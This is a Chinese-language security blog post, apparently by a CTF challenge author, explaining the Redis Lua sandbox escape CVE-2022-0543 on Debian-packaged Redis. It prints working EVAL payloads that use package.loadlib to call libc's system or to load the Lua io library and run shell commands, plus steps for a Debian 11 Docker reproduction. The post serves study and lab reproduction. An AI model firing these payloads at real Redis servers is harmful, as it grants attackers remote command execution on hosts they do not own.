聊聊如何通过 Redis 的 Lua 引擎突破沙盒执行命令

不是什么很新的东西,但最近在出题的时候想要恶心一下别人,简单重温一下,思路很简单,我们都知道 Redis 是一门非关系型数据库,主要为键值存储,但是很少有人知道 Lua 还能用来执行一些 Lua 脚本代码

image-20260320191847086

官方仓库:https://github.com/redis/redis

常见的指令有这几个

  • EVAL,直接执行 Lua 脚本
  • EVALSHA,根据脚本的 SHA1 教研来执行
  • SCRIPT LOAD,托管脚本,将脚本加载到 Redis 缓存中,但不立即执行,返回 SHA1
  • SCRIPT EXISTS sha1,检查某个 SHA1 对应的脚本是否已经在缓存里
  • SCRIPT FLUSH,清空所有的 Lua 脚本缓存(但是,在生产环境中执行这个会直接导致所有依赖 EVALSHA 的业务瞬间崩溃)
  • SCRIPT KILL,杀死正在运行的长耗时脚本
  • redis.call()
  • redis.pcall()

正常来说,我们可以这样子执行

1
eval '任意表达式' 0

image-20260320192446529

系统就会解析 lua 代码来执行任意代码,比如我们可以尝试一下 lua 命令执行(这里默认是禁用了 osio 库),所以执行 eval 'return io.popen("whoami;id")' 0,会报错

image-20260320192646588

那么有没有啥版本可以绕过这个限制呢?答案是利用 CVE-2022-0543 这个沙盒逃逸漏洞,简单来说,它的根源不在于 Redis 本身,而在于 Debian 及 Ubuntu 等发行版在打包 Redis 时,为了减小体积,将 Lua 解释器作为一个动态链接库(Shared Library)加载,这导致了一个致命问题,在正常的 Redis Lua 沙箱中,原本应该被禁用的 package 库(它可以加载外部库并执行代码)在某些环境下是可用

先来看看利用的 exp

1
EVAL 'local os_execute = package.loadlib("/lib/x86_64-linux-gnu/libc.so.6", "system"); os_execute("whoami > /tmp/out");' 0

可以借助 loadlib 函数来动态加载链接库,例如加载 /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 里面的 luaopen_io 函数,从而获得 io 库来执行任意命令

1
2
3
4
5
6
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

这样子就能达到 RCE 的目的,我们启动一个 Debian 11,然后装上 Redis,早期的 Redis Server是受到影响的,启动环境复现

1
2
3
4
5
6
7
8
docker pull docker.m.daocloud.io/library/debian:11

apt update
apt install -y redis-server

find /lib -name "libc.so.6"

redis-server --daemonize yes

image-20260320225724438

接着执行

1
2
redis-cli
eval 'local os_execute = package.loadlib("/lib/aarch64-linux-gnu/libc.so.6", "system"); os_execute("whoami;id"); return 1' 0

如果用高版本 Redis 执行则会显示

image-20260320223135514